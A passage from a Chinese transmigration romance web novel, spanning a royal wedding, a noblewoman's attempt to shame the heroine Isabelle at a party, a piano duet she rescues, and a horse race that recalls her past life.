这原本与寻常的贵族婚姻没什么不同。 但特殊的在于新娘的母亲,是刚才那位索菲娅·斯宾塞。 索菲娅出身于斯宾塞,却是不被承认的私生女。 根据埃莉诺的描述,老公爵弗雷德里克有一位早逝的风流弟弟,曾经在外包养诸多情妇,而索菲娅就是其中一名妓女所生的孩子。 弟弟死后,弗雷德里克想把可怜的孩子接回来抚养,却被薇奥莱特制止。 出身名门的公爵夫人眼里容不得沙子,她本就厌恶丈夫那位风流的弟弟,对妓女的孩子更谈不上喜欢! 这件事便在薇奥莱特以庄园名声相要挟之下,不了了之。 索菲娅从此养在外面,斯宾塞家族也没有留存她的姓名。 原本她应该是个一辈子见不得光的私生女,但事情在二十年后发生变化。 索菲娅嫁给大她三十岁的布伦瑞克伯爵,生下一子一女后,伯爵病亡。 长子继承布伦瑞克爵位那天,薇奥莱特再次见到索菲娅。这个不被斯宾塞承认的私生女,摇身一变成为了伯爵府的夫人。 回去以后,薇奥莱特大发雷霆,全家上下被勒令不允许提及这个名字! 索菲娅,斯宾塞的耻辱。 如无必要,伊莎贝尔不会猜测或是评价他人所作所为,她只是在想……看路易莎和索菲娅打招呼时的自然姿态,她们的关系似乎没有那么疏远。 礼堂宾客陆续抵达,场面恢宏盛大。 红毯从教堂外一直铺向祭台,沿路清场为婚车让路。 皇家乐团奏响悠扬曲调,新郎在万众瞩目中出场。 菲利普公爵身穿皇室礼服,肩上戴着勋章,脸上洋溢着喜悦。他率先等在红毯这一头,手里捧着鲜花,身边的伴郎突然转过头,冲这边挥了挥手。 路易莎惊讶:“埃德蒙?” 伊莎贝尔轻笑:“他去当伴郎,你不知道吗?” 路易莎皱眉,“难道你知道?” “我不知道不奇怪,但你身为妻子不知道,才该奇怪。” “什么知道不知道,我什么都不知道,你满意了?”路易莎被绕晕了,狠狠瞪她一眼,小发雷霆。 伊莎贝尔日常气一气路易莎,转过头若无其事。 索菲娅忽然轻笑:“你们的关系很融洽,真令人意外。” 路易莎垂眸,脸色有些不自然。 伊莎贝尔淡笑:“同在查尔维斯生活,融洽是应该的,你说呢姑妈?” 索菲娅深深看了她一眼,“对。” 很快,王室成员的马车缓缓到达,先后下来数位身穿礼服,衣着考究的绅士与贵妇。 伊莎贝尔默默将他们的脸,与埃莉诺的描述对上号。 这算是她穿越以来,参加的最高规格的婚礼。来往宾客相当于前世七点档新闻联播里,各国首脑要员。 本朝王室奥古斯特家族血脉凋零,现任女王塞拉菲娜·奥古斯特膝下无儿无女,直系亲属唯有堂弟的儿子,也就是今天的新郎菲利普。 按照锡兰公国律法,菲利普将会是第一顺位继承人。 所以,眼下看这只是公爵婚礼,但到场的来宾不会将他是未来国王的可能性排除。 伊莎贝尔眸光微动,轻扫了眼身旁的索菲娅。 对方感知她的目光,回眸笑道:“诺曼小姐,你是在想,我身为新娘母亲,为什么坐在这里?” 斯宾塞家的位置在中央区域中排,身边是同爵位的贵族。按照规矩,新娘方的亲眷应该落座于右侧。 放眼望去,此刻的右侧区域坐满了人,看胸前徽章的确是布伦瑞克家族的人。 但索菲娅却被排除在外…… 看来即便拥有一个伯爵儿子和一位公爵夫人女儿,母亲索菲娅的身份在布伦瑞克家族里仍然不受认可。 伊莎贝尔收回视线,心里有了猜测,嘴上却道:“无论坐哪里,你是新娘的母亲这一点,不会改变。” 索菲娅似乎被这句话取悦,笑起来时眼波流转,别有一番风情。 “即便是奉承,也足以见得诺曼小姐的聪明。”她眼含深意,像是感叹,又像自言自语,“是的,没有我这位母亲,小小的伯爵府怎么攀得上约克公爵。” 伊莎贝尔垂眸,将这句话咀嚼了一边。 的确,哪怕只是作为身有“约克”封号的王室公爵,布伦瑞克家的小姐要嫁给菲利普,还得过五关斩六将。更遑论他现在可是预备役国王? 恐怕只有斯宾塞家或是其他选帝侯世家出一个女儿,才能稳当成为公爵夫人乃至未来王后。 这样看,原本还算相配的布伦瑞克伯爵小姐,就显得不够格了。 不过很快,伊莎贝尔就明白这位伯爵小姐的优势所在。 随着乐曲奏响,全体起立。 女王仪仗缓缓而来,在众侍卫官和秘书的簇拥下,伊莎贝尔只看见女王经过时露出的侧脸。 随后王室核心成员落座中央第一排,前后坐着侍卫官,后排人只能远远看见女王冠冕,却也能感受一国之主的威严气势。 管乐队开始演奏婚礼进行曲。 全体再次起立,迎接新娘。 新娘穿着婚纱,挽着身边高挑男人的手臂,自教堂外红毯尽头而来。 即便隔着朦胧白纱,伊莎贝尔也能看出伯爵小姐出色的容颜,与她母亲是如出一辙的秾艳。 任何人见了首都第一美人的脸,很难不为之动心,包括此刻傻笑着的新郎。 伊莎贝尔扫了眼菲利普,对比新娘的美貌,原本还算端正的公爵,被衬托得面容平庸——尤其他身边还站着埃德蒙。 虽然不是伊莎贝尔所欣赏的美男子,但承袭斯宾塞基因的人,都具备碾压的优势。 比如索菲娅、埃德蒙、对面的新娘,还有…… 伊莎贝尔目光一顿,定格在新娘挽着胳膊的男人身上。 身形颀长,肩宽腰窄,俊美的五官与新娘有三分相似,典型的另一位斯宾塞。 “海因里希?”路易莎惊讶,似笑非笑看向伊莎贝尔,“噢,我不知道不奇怪,但你身为妻子不知道,才该奇怪。” 伊莎贝尔轻笑一声,忽视她的调侃:“虽然不知道,但也能猜到。” 难怪两位男士不随她们出行,原来另有安排。 新娘没有了父亲,直系男性亲属里,只剩哥哥布伦瑞克伯爵,但…… “是我邀请海因和埃德帮忙的,薇奥莱特夫人不知情。”索菲娅微笑道,“为了保密,事先瞒着你们,希望不会介意。” 路易莎眸光微动,“乐意之至,索菲娅姑母。” 帮索菲娅的忙不重要,重要的是,埃德蒙当的可是菲利普的伴郎。 “亚当不良于行,无法牵着妹妹走红毯。”索菲娅顿了顿,掩饰眸中的黯淡,“除了斯宾塞家族,布伦瑞克那边没有合适的人。” 伊莎贝尔垂眸。 是的,刚扫过右边女方亲眷,第一排的年轻伯爵坐着轮椅。 路易莎简单安抚索菲娅,婚礼有条不紊地进行。 海因里希称职地将新娘带到新郎身边。 伴随悠扬乐曲,大主教为他们见证誓言。 作为观众,伊莎贝尔不着边际地想,在海因里希的对照下,菲利普更普通了。 等八月五号的那天,最好提醒公爵先生别找比自己好看的人当伴郎,否则宾客的注意力都会分散。实在不是好兆头。 突然,海因里希抬眸往这边看,与她的视线交汇。 伊莎贝尔不闪不避,颔首示意。 两个即将迈入同一个教堂的新人,现在正隔空经历别人的婚礼,很难不联想。 “请新郎新娘交换戒指——” 众人的注意力再次被吸引,共同祝愿美好婚姻的诞生。 伊莎贝尔默默祝祷,心里却在想,索菲娅这个人恐怕没那么简单。 —— 作者有话说:粽宝存稿箱:不知道有没有朋友看过当年威廉王子和凯特王妃大婚直播,我那时候还小,守着电视看,至今还有点印象。真的很盛大。 当然我这个是乱编的流程哈,差不多合理就行,咱主打一个大乱炖。 怕大家看得乱,理一理斯宾塞家族人物。 祖父:弗雷德里克(已故) 祖母:薇奥莱特 爸爸:路德维希(已故) 妈妈:乔治安娜公主(已故)——生下海因里希 叔叔:乔伊斯(已故)——生下埃德蒙埃德蒙妻子:路易莎(出身霍华德侯爵府) 祖父的弟弟所生的私生女姑母:索菲娅,嫁给布伦瑞克老头伯爵——生下一子一女,女儿贝琪是今天的新娘,嫁给约克公爵菲利普;儿子亚当双腿残疾,娶的前面出现过的布鲁森家族的丽莎 第29章 婚礼结束后,众人更换行装参加晚间派对。第二天,又马不停蹄参加菲利普夫妇的私人宴会。 说是私人宴会,实际上是小型高层贵族聚会。 各大选帝侯家族难得齐聚墨伦维克,正好借着王室公爵婚礼的机会互通有无。 菲利普身份特殊,为了他的面子, 向来不喜欢参与私人场合的女王, 难得亲临。 海因里希以及其他家族掌权人、还有正式受封的爵爷和命妇们,诸如菲利普夫妇、索菲娅等等,都需要先觐见女王。 而伊莎贝尔和路易莎这些没有头衔的贵族家眷则等候在外,如有女王召见, 会有皇家侍卫官通传。虽然通常她们没有机会面见女王。 私人宴会气氛松弛, 等候的间隙, 大家自如地说笑。 许多聪明的夫人都会牢牢把握这种交际的机会, 毕竟顶尖贵族齐聚的场合并不多,而受邀的嘉宾里, 总有地位略逊一筹,需要向上攀登的家族。 霍华德侯爵府就属于其中之一。 路易莎和伊莎贝尔甫一进门,迎面走来一位体态丰满,头戴紫红色羽毛宽檐帽的女士。 “亲爱的路易莎, 好久不见。” 路易莎眼底滑过厌烦,很快堆起笑意与她贴面, “亲爱的嫂嫂,我哥哥和侄女们都好吗?” 来人是路易莎的嫂子, 霍华德侯爵府未来的女主人。 “托你的福,一切都好。” 霍华德太太又看向伊莎贝尔,不轻不重地感叹道:“噢,路易莎, 还不向我介绍这位美丽的女士吗?” 伊莎贝尔轻轻颔首:“奥黛丽·诺曼。幸会,霍华德太太。” “原来你就是那位来自洛森郡的幸运儿,诺曼小姐!”霍华德太太夸张地瞪大眼睛。 伊莎贝尔微笑:“您指的幸运是?” “噢上帝啊,能从洛森郡的男爵小姐,摇身一变成为斯宾塞公爵夫人,这还不是天赐的幸运?”霍华德太太说这话时,意味不明地扫了眼路易莎,“馅饼也曾掉在某些人头上,可惜她一脚踢开。” 路易莎脸色沉了下去,碍于伊莎贝尔在场,她强行压下情绪,警告似的看了霍华德太太一眼。 霍华德太太却恍若未觉,高抬着下巴扫视伊莎贝尔,“诺曼小姐以前参加过这种规格的宴会吗?” 伊莎贝尔眸光微动,坦诚摇头:“没有。” “噢!都怪我冒昧,忘了你出身乡下小郡。”霍华德太太眼底含笑,“听说那边民风淳朴,会请家庭教师教导音乐和绘画吗?” 伊莎贝尔:“请过,但不甚精通。” 霍华德太太略显刺耳的问话引来其他夫人的注视,她还想再说。路易莎却忍无可忍,一把拽过霍华德太太走向角落。 “别再挑衅她了,潘妮!出门在外你代表的是霍华德家的颜面!刻薄不是贵族应有的教养!其他夫人会笑话你的!” “少来教训我!路易莎!你是嫌我给霍华德家丢脸,还是怕她才疏学浅给斯宾塞家丢脸?”霍华德太太冷笑,甩开路易莎的手,“当初放着公爵夫人不当,要跟埃德蒙私奔的蠢货可是你!那会儿你怎么不想想霍华德家的颜面?!” 路易莎脸色涨红,气得发抖:“你……你……我的事还轮不到你来指责!” “我没资格?!路易莎!你以为锡兰公国有不透风的墙吗!我敢打赌这个场子里起码有一半的人知道你当年的丑事!我和你哥哥,你父母,你侄子侄女的脸早就被你丢干净了!”霍华德不甘示弱,压低声音怒吼。 路易莎瞪大眼睛,声音哽在喉头。 “路易莎你听好了!从前是你哥哥拦着不让我教训你!现在他的话不管用了!”霍华德太太的话语却像刀片似的飞快,“你但凡还有对霍华德家有点良心,就别拦着我!” “潘妮!”路易莎攥紧拳头:“这是菲利普公爵的晚宴!女王也在场!别闹幺蛾子才是对霍华德家最好的帮助!” “帮助?!我原本倒是希望你这个做姑姑的能当上公爵夫人,好提携莉莉丝进入更高的社交圈。现在你把她的前途都毁了!还敢我提帮助?!”提起女儿,霍华德太太的怒火彻底被点燃。 她攥紧羽毛扇,恨声道:“我的莉莉丝刚成年!她举止温柔,富有才情,一点儿不比布伦瑞克家的小姐差!连一个伯爵女儿都能嫁给王室公爵,将来走运还能当王后!而莉莉丝一个侯爵女儿,至今还无人问津!是谁的错?!” 路易莎几乎喘不上气,剧烈呼吸数次,只觉胸腔里的心脏都要爆炸! “所以别再拦着我,路易莎!”霍华德太太冷冰冰瞪着小姑子,“我必须打响莉莉丝的名声,给她挣个好前程!没有比今天更合适的机会了!” 放眼望去,全场来宾皆是出身顶级世家。 霍华德太太视线扫过伊莎贝尔,眼带轻蔑:“连这样一个乡下来的男爵女儿都能当公爵夫人,我的莉莉丝凭什么不行?!” 路易莎好不容易喘上气,听到这句话又差点晕倒,“潘妮!她没有你想的那么……” “我早就打听过了!奥黛丽·诺曼只有一门还算得上体面的亲戚,她的姨妈嫁给了克劳伦伯爵。不过……我想一个沾亲带故的姨妈并不足以培养一位多才多艺的外甥女。” “事实也的确如此,听说奥黛丽·诺曼参加克劳伦伯爵晚宴时,表现乏善可陈,怎么比得过我从小当作贵女典范教导的莉莉丝?”霍华德太太眼底滑过算计,轻轻摇晃羽毛扇。 “噢上帝啊!如果莉莉丝不是我的亲侄女,我绝不会再跟你说半句话!”路易莎深吸一口气,极力用理智发声。 “那就请你闭嘴!”霍华德太太低喝,眼底滑过冷意,“没有人比地位超然却愚钝卑微的斯宾塞公爵夫人,更适合做莉莉丝的垫脚石。” 路易莎无力地闭上眼,只能看着霍华德太太高昂着头颅走向伊莎贝尔,咬牙切齿:“潘妮!你会后悔的!” - 紫红色羽毛高檐帽在重重人群里穿梭,霍华德太太轻摇羽毛扇,目光锁定前方身穿浅绿色礼服的金发姑娘。她正在与陌生的太太寒暄,脸上笑容自然,既不谄媚,也不骄矜,倒是很有公爵夫人的派头。 霍华德太太心里冷笑。 如果不是自己早就打听清楚,怕也会像其他人一样被诺曼小姐的外表蒙骗。 “诺曼小姐,抱歉,刚才失陪了。”她笑着迎上前。 伊莎贝尔微笑:“没关系,您不在的时间里,我与其他夫人相谈甚欢。” 霍华德太太笑容僵住一瞬,“是吗?我刚还在听路易莎说,诺曼小姐文雅娴静,没想到也是伶牙俐齿。” 伊莎贝尔暗暗挑眉,颔首:“就当您在夸奖我了。” “是的,当然。”霍华德太太笑容不变,“聪慧的贵族姑娘总是多才多艺,我刚听你说家里没请老师,想必是您母亲有这方面的才华?” “据我所知,也是平平无奇。”伊莎贝尔淡淡道,“我刚才已经回答过您了,霍华德太太,我才艺平庸,不堪与各位相比。” “噢?!我以为你在开玩笑,亲爱的!”霍华德太太夸张地惊叹,引来诸多视线。 她忽然摆摆手,“莉莉丝,过来。” 角落里,一位气质文静的年轻女孩走了过来,与伊莎贝尔互相颔首示意。 “霍华德小姐。” “诺曼小姐。” “这是我的女儿,莉莉丝。她今天十八岁,正是社交的年纪,我看诺曼小姐比她大不了多少,你们年轻人为我们奏一段音乐助兴,想必在场诸位都会很高兴。” 莉莉丝无措地看了眼母亲,却在对方强硬的视线里垂眸。 要知道,没有理由却要牵强展示才华,也是令人耻笑的“高调”。 她正是爱面子的年纪,一时下不了台。 伊莎贝尔看了眼莉莉丝,又看向霍华德太太:“我想这不是个好主意,我已经说过才艺疏浅,您何必非要我展示?” “噢,诺曼小姐,过分的谦逊不是贵族该有的品质。只是为平淡的宴会增添几个音符,不是什么难事,大家说呢?”霍华德太太突然看向众人。 早就关注这里的人不在少数。 伊莎贝尔看着越来越多的视线汇聚,眸光微动。 霍华德太太这是把自己架起来了。 她一早就坦诚才艺粗浅,是谦逊。 一再拒绝,那可就真坐实草包名头。 冰蓝色的眼睛不动声色地扫过全场。 那些视线可算不上友好,大多在等着看戏,看未来公爵夫人的底细。 实际上,霍华德太太正是抓住了这一点。 身为侯爵府未来的女主人,潘妮并不冲动。她很清楚,在场很多人都对斯宾塞公爵夫人感兴趣。 众所周知,富有教养的绅士淑女们总是对外来者充满质疑,只是这种轻蔑与傲慢,被彬彬有礼的举止掩饰地很好。就说此刻正在与诺曼小姐谈笑的辛西娅夫人,那双温和的眼眸里夹杂着审视。 一旦试探出对方的底细,眼睛里的友善便会化为乌有,变作礼貌的疏离。 这就是贵族。 霍华德太太再清楚不过。 而她要做的,无非就是成为出头的椽子,满足大家的好奇心,借斯宾塞公爵夫人做台阶,再由此自然地衬托出女儿莉莉丝·霍华德的优秀。 只要她开口,一定有人响应。 毕竟,等着看笑话的可不止一家。 在场七大选帝侯世家皆是高门显贵,其中就有斯宾塞家的政敌——萨克森家族。 每一个敌人都精通落井下石,萨克森太太也不例外。 “早就听说查尔维斯即将迎来女主人,我们都想认识你,诺曼小姐。何不借此机会一展风采呢?” 萨克森太太缓步而来,众人自发让开一条路,让她走到伊莎贝尔面前。 迎着审视的笑意,伊莎贝尔知道这是骑虎难下,不得不上了。 人群之外,路易莎翻了个白眼。 她莫名觉得这个女人不会没有后手,但又担心她真的毫无准备! 到时候,丢的是斯宾塞一家的脸! 这种时刻,路易莎管不了私人恩怨,赶紧冲上前道:“不如我来吧!莉莉丝还是我的侄女,我们两个配合默契,一定能为诸位不错的表演,你说呢,奥黛丽?” 她拼命冲伊莎贝尔使眼色。 等着看热闹的人却不干了。 霍华德太太看见路易莎挡路,新仇旧恨涌上心头,强忍怒火笑:“路易莎,我邀请的是诺曼小姐,请让开!” 萨克森太太更加不客气,状似不经意和身边的人道:“唉,早就听过一些传闻,看来是真的。不展示也好,墨伦维克闹出的笑话可是会传遍锡兰公国。” 看似中立的辛西娅夫人眸光微动,摇着扇子劝慰:“多给女士宽容吧,诸位。也不是每一位淑女都天赋异禀,否则要我们普通人怎么活?” “再普通的女士也该有一两样才艺傍身,更何况是贵族家庭。”萨克森太太看向伊莎贝尔,意有所指,“家族赋予我们尊贵的血统,我们身上肩负着职责,当然要回馈出众的才能与品格。不为家族荣誉而生,与平民有什么不同?诸位连这么浅显的道理都忘了吗?” 话音刚落,宴会厅陷入沉默,连个打圆场的都没有。 一方面,萨克森家族作为选帝侯之一,与斯宾塞家平起平坐,底蕴深厚。没人想驳萨克森太太的面子。 另一方面,她言之有理。 贵族总是骄傲于血统的古老和纯正,祖上流传下来的古董与自身得到的传承,都是家族的印记。 财富是土壤,教养是雨露,才艺是芬芳,正如玫瑰园里不会生出杂草,没有馥郁香气的……自然不会被承认是玫瑰。 就在萨克森太太还想开口时,众人听见一道温和的声音响起。 “好吧,我答应。” 伊莎贝尔缓缓向前,牵起莉莉丝的手,微笑:“霍华德小姐,请你选择曲谱,我随意。” 莉莉丝一愣,在众人凝滞的目光下赶紧点头,“好!” —— 作者有话说:伊莎贝尔:马上请郎朗上身(不是) 第30章 直到坐上琴凳, 莉莉丝的大脑仍然一片空白。 她的确从小接受贵族式教育,却很少在如此隆重的宴会上展示。 一想起母亲严厉的眼神,莉莉丝的手指控制不住地颤抖。 “放轻松, 选你最拿手的曲目。” 身旁的人淡定自若,甚至有空出言安抚搭档。 “谢谢你, 诺曼小姐。” 莉莉丝眸光微顿, 深吸一口气, 终于平复狂跳的心。 围观的众人隔得远,只看见两个人坐了许久还没开始。 霍华德太太对女儿信心满满,笑道:“想必莉莉丝在临时指点诺曼小姐, 噢, 我总是教导她谦逊友爱, 看来她完全领会。” “是的, 希望有霍华德小姐的指点,能为未来公爵夫人挽回一些颜面。”萨克森太太皮笑肉不笑。 就在此刻, 第一个钢琴音响起。 莉莉丝按下琴键,很快, 另一双手默契地跟上。 流畅的音符一泄而出,飘荡在华丽宴会厅的上空, 意外地动听。 众人呆愣片刻,看着和谐的双人演奏,都有些不可思议。 “噢,不错的开端。”萨克森太太面无表情, “但事情的开始总是简单而美妙,却并不能由此判断结果,你说呢,霍华德太太。” “是, 是的!”霍华德太太僵了僵,“一定是莉莉丝这个傻丫头在帮她!” 萨克森太太偏过头,唇角紧抿,并不答话。 霍华德太太面露焦急,恨不得上前骂女儿一顿! 他们要的是看斯宾塞的笑话!否则一场平平无奇的演奏会,谁想听? ! 可事情却朝着反方向发展。 钢琴曲越发流畅自然,配上自发加入的大提琴乐队,更加有了质的飞跃。 莉莉丝逐渐沉浸其中,手指不再僵硬。 指尖在黑白琴键上翻飞,她仿佛回到无忧无虑的练琴时光。 是的,她最喜欢的事情就是练琴。 那会让小小的莉莉丝逃离母亲的掌控,拥有片刻喘息。 所以即便再苦再累,她也不肯停歇。 音乐海洋里,有花香,有鸟语,有温暖的太阳……莉莉丝多想幻化成一只燕子,逃离华丽的牢笼,奔赴长空。 乐曲进入高|潮,莉莉丝闭着眼,翻飞的手指代替她无声呐喊。 她没有注意到,身边的搭档毫无压力地跟上自己的步伐,甚至游刃有余地托举着她,帮她攀登高峰。 众人的眼神不再戏谑,已经有人听出这段激昂乐章的华彩! 莉莉丝的演奏是呐喊的雏雁,她借由音符痛苦嘶鸣,娴熟的指法将往日一遍一遍反刍的痛苦倾泻而出。 而另一只手,是润物细无声的春雨,也是磅礴幽深的海洋。 她没有任何炫技,只是为雏雁营造一场雨。 暴雨雷电轰鸣之下,雏雁的呐喊才显得惊心动魄。 当她声嘶力竭,暴雨随之渐歇,化作绵绵细雨,温柔地抚平她的伤疤。 雏雁落地了,雨声渐停,淅淅沥沥。 逐渐回落的乐曲声里,莉莉丝缓缓睁开眼。 人群里响起稀稀拉拉的掌声,提前赞赏那段激昂乐章的演绎。 二楼,议事结束的女王循着乐声走出会议室,身后跟着各家勋贵。 蕾丝礼帽下,女王闭着眼,手指随着节奏敲击栏杆。 “是莱因哈特的D大调钢琴二重奏变奏曲。”她面露欣赏,回头道,“年轻的演奏者是哪家的女士?” 霍华德公爵早就发现了自家的孙女,颔首笑道:“陛下,是鄙人的小孙女,莉莉丝。” “另一位呢?”女王似乎随口一问。 海因里希眸光微动,看向不远处的身影。 钢琴旁,身穿浅绿色礼服的金发姑娘坐姿优雅,纤长的天鹅颈泛着莹润的白光,当真是人群中的焦点,让人移不开目光。 “陛下,是我的未婚妻,奥黛丽·诺曼。” “哦,是她。”女王轻笑。 变奏曲正在收尾,与此同时,女王挥退众臣,让他们去楼下欣赏音乐。海因里希正要跟着离开,女王的声音响起,“海因,你留下。” 海因里希脚步一顿,回到女王身边,顺着她的视线再次望去。 楼下,莉莉丝从音乐世界里遨游而归,一抬头就看见母亲严肃而焦急地使眼色。 心中一颤,手指不自觉弹错一个音! 那声音像一颗小石子砸进平缓的溪流,突兀得让她瞬间僵住,连指节都泛白! 完了,彻底完了。 莉莉丝的心沉入谷底,巨大的恐慌涌上心头!母亲严厉的斥责仿佛在耳畔响起,曾经反复练习的日夜都打了水漂! 她不是不知道母亲的良苦用心!她也明白母亲对于今天的期待! 莉莉丝这一生为之奋斗的目标就是做一个标准的淑女,再嫁入同为贵族的世家,如果能攀上更高阶层的勋贵就更是人生胜利的典范…… 可这一切都毁了!毁在弹错一个音…… 千分之一秒的时间里,莉莉丝觉得人生已经灰暗无光,泪水盈满眼眶。 就在即将砸落的瞬间,一只手无比敏捷地将她弹错的音,滑回原地,并巧妙地用和弦掩盖。 像溪流绕开石子,又稳稳归入河道。 即将坠落深渊的雏雁,以为迎来必死的结局,睁开眼,却发现自己躺在温暖的掌心里。 淅沥的雨声逐渐隐没,天晴了。 演奏结束。 莉莉丝嘴唇颤抖,缓缓抬眸。 她看着伊莎贝尔,心中满溢的情绪酸涩难言。 泪水无意识地流出,想象中温暖的手却带着凉意,飞速将她的眼泪擦干。 “别哭,没人能听出来。” 伊莎贝尔牵起她的手,起身向众人颔首。 沉默数秒,掌声雷动。 “棒极了!” “完美的演绎!” “两位出众的女士!为你们祝贺!” …… 人群里,萨克森太太脸色难看至极,率先扬长而去。 霍华德太太一半高兴,一半气愤!看着莉莉丝和伊莎贝尔牵着的手,她狠狠翻了个白眼! 二楼。 女王看向海因里希,轻笑:“海因,看来你拥有一个品德高尚,乐于助人的未婚妻。” 对于资深的鉴赏者来说,听出那段巧妙的救场不是难事。 海因里希盯着喧嚣的人群,沉默许久,“都要感谢您的选择。” 女王默然片刻,叹了口气道:“海因,你是我妹妹留下的唯一血脉,我有责任为你的人生保驾护航,包括替你选一位出身低微,但至少能活着留在你身边的妻子。” 威严的女王在面对亲人时,也会流露真情实感。 海因里希面无表情,紧攥的拳头却无意识地放松。 他看着楼下正与人谈笑的女孩,嗓音冷淡:“您不是不知道有多少人惦记我的命,更何况是站在我身边的妻子?” 一个陌生的、虽然出身卑微却还算有点聪明、仗着头脑胡作非为不知天高地厚的……名唤奥黛丽·诺曼的小姐。 “你担心诺曼小姐同样步那四位的后尘?” “不,我只是不喜欢干涉他人的命运,更不喜欢别人横插一脚,进入我的命运。”海因里希语速飞快,顿了顿,垂眸道,“为我退婚吧,陛下。” 女王沉吟不语,片刻后,忽然说:“可以再等等,也许她会给我们惊喜。” 楼下,伊莎贝尔似有所觉,忽然抬眸看了一眼。 与那双冰蓝色的眼睛四目相对,海因里希想起短暂的时光里,他见证了这个女孩很多次耀眼的瞬间。 “的确,她与众不同。”他看着伊莎贝尔,对女王说,“但查尔维斯葬送的性命够多了,不必再多一副尸骨。” “我的人生,也并不追求什么圆满。”他顿了顿,漆黑的瞳孔里灼烧着深不见底的情绪,“余生,唯有复仇而已。” 即便站在帝国金字塔尖,年轻的公爵也有被头顶的天空压得血肉模糊的时刻。 袭爵那天,得知真相的少年浑身浴血,在众目睽睽之下夺走斯宾塞家族权杖。 那位高高在上的神赐予他冠冕,带领他宣誓。 也是那一天起,仇恨与权力伴生,像藤蔓一般缠绕着少年的余生。 那双满怀慈悲的淡金色眼睛在后来的梦里出现,时常化为冰冷的凝视,像毒蛇般逼他发疯。 战场鲜红的血液仿佛与高台上那身猩红教袍融为一体。 所谓悲悯的神,只是权力的化身。顷刻可以收割万千性命于无形。 海因里希看着楼下的歌舞升平,眼底滑过讽刺。 衣冠楚楚的绅士淑女,自诩高贵的家族,所谓的七大选帝侯,一层又一层的争权夺利,也不过是至高神棋盘里的提线木偶。 一只手轻拍他的肩。 “别轻举妄动,海因。”女王的瞳孔泛着沉静的光,“会有胜利的那天,但不是现在。” 海因里希没说话,转身离去。 女王目送年轻的公爵走远,自知外甥桀骜难驯,只是轻叹一声,收回目光。 第一秘书洛娜上前颔首:“需要请那位诺曼小姐上来吗?” “不必了。”女王沉思片刻,摇头。 洛娜迟疑:“您刚才似乎对她有几分欣赏。” “对普通贵族小姐才艺的欣赏罢了。”女王轻笑,眸光幽深,“走吧,还有很多事要忙。” “是。” 洛娜垂眸,明白了意思。 女王与斯宾塞公爵乃至各大选帝侯们所掌控的是另一个世界。 奥黛丽·诺曼即便作为公爵夫人,再亮眼,也不过是楼下贵妇们中的一位。 上不了这层楼,更到不了女王的眼前。 30-40 第31章 章节锁定 第32章 看见伊莎贝尔驱马靠近, 起始点的萨克森男士们响起口哨声。 “嘿!杰克!记得发扬绅士精神!让一让女士!”萨克森公爵叮嘱儿子,眼底的轻视不言而喻。 “好的,父亲!”公爵儿子, 年轻的萨克森少爷坐在马上冲伊莎贝尔摘帽,眨眨眼, “放心, 诺曼小姐, 斯宾塞家族不懂得怜香惜玉,我们萨克森可不会犯这样的错误。” 说完,周围一圈萨克森们都爆发出意味不明的笑声。 “我以为赛马只凭成绩说话, 原来萨克森家是靠嘴皮子。” 伊莎贝尔目不斜视, 驱使布莱克挤开两位男士, 径直占据最中间的位置。 被挤开的萨克森少爷吹了个口哨,回头观察海因里希在很远之外,于是扫视着伊莎贝尔,压低声音道:“那就准备享受失败吧女士,虽然我很欣赏有勇气的美人。” 发令官伸手示意准备,所有人神情肃穆,连观众席都安静了下来。 伊莎贝尔躬身贴近马背, 直视前方。 耳边传来萨克森少爷的轻笑:“斯宾塞如果不适合你,欢迎随时来锡兰北部,萨克森之家。” 发令官倒数:“三、二……” 在“一”落地前一秒,萨克森少爷听见来自身旁的嗤笑。 “抱歉,比起海因里希,我更不喜欢……手、下、败、将。” 下一刻,发令枪响,黑色骏马率先冲了出去! 成排的马蹄踏出滚滚烟尘,不过数秒的时间,胶着的尘雾里分出先后——浑身漆黑唯有银白马饰在夕阳下闪闪发光的布莱克,一马当先!载着浅绿色的身影冲出重围,狠狠将一众男士甩在身后! 萨克森脸色剧变,立刻狠扬马鞭,怒喝:“追!” 呼呼风声如利刃刮过脸颊,伊莎贝尔听见身后轰隆的马蹄声,唇边划过轻蔑的笑。 萨克森的枣红色骏马也是重重厮杀里选出的上等货色,在转弯之时,奋力扬蹄,挤开布莱克超过一个身位! 伊莎贝尔迅速勒紧缰绳,避开碰撞! 娴熟的控马之术立刻让众人明白,她绝不是毫无胜算的新手! 早在查尔维斯狩猎盛宴时,她看见海因里希纵马驰骋,心头便生出这股欲|望——毫无顾忌地、痛快坦荡地飞驰! 直到甩开束缚坐上马背,伊莎贝尔仿佛找回了曾经的时光! 前世,身为许莉莎,她获得了让大部分羡慕的、关于世俗意义上的荣誉与成功,而这样的快乐总是无法持续太久。 像攀登一座又一座的高峰,只有登顶那一刻,成就感无与伦比,此后回归平淡。 在诊断出绝症时,她甚至没有对这个世间的留恋。干脆地签下放弃药物治疗的同意书,第二天订了环球旅行的票。 许莉莎一度觉得,人生就是一场旅行,命运是高维造物主的剧本,何必执着生命的长度? 就像她落地是孤儿,因为出众的外貌和头脑被一对教授夫妇收养。二老很有修养,但只是将对亡女的感情寄托在养女身上,却又因养女生性冷淡而失望,一家三口过得相敬如宾。 或许是天性凉薄的好处,这并不会令许莉莎感到难过。事实上,她几乎不会难过。 作为故事的体验者甚至是旁观者,许莉莎对发生的一切都有尊重其存在的宿命论。 漂亮的履历,可观的财富,受人追捧的声名、所谓闪着光的人生也不过是注定的剧情。 她以为自己会永远如此,直到抵达生命的终点。 可是,在北疆看到日出的那一天,她用还能奔跑的身体纵马疾驰,初升的朝阳落在眼睫,瞳孔里倒映着清晨的薄雾,耳边是牛羊在悠然地哞哞叫…… 那一刻,她感觉到身体里血液沸腾的声音。是某种被她忽视良久的、名为生命的呼唤。 她骑着马奔跑了一天,从朝阳初升到夕阳漫天,似乎经历了一场人生的起落。 日头落了,她的生命也即将画上句号。命运在这个节点,赐予她最后的温柔。 微风拂过指尖,告诉她,这世上不止有一重接一重的高峰亟待攀登,还有辽阔无垠的原野,那里有风的自由,青草的香味,你可以肆意飞驰,或是躺在草地上看牛羊吃一整天的草。 她闭上眼,胸膛的空洞被填满。 风吹草低,牛犊在山坡吃草,许莉莎微笑地与世界道别。 再睁开眼,伊莎贝尔在家人的期待中降生,母亲淡蓝色的眼睛里盈满温柔与爱意。 身体里淡漠的情感难以改变,只是在成为伊莎贝尔的那一刻,她似乎听见许莉莎告诉自己,别回头,去体验吧。 去体验等待一朵花的盛放;看着卷毛小孩慢慢长大,跟在屁股后叫姐姐;满屋子鸡飞狗跳,她躺在庭院晒太阳。书盖着眼睛,风吹动金盏菊,这一切都是关于生命的体验。 包括现在—— 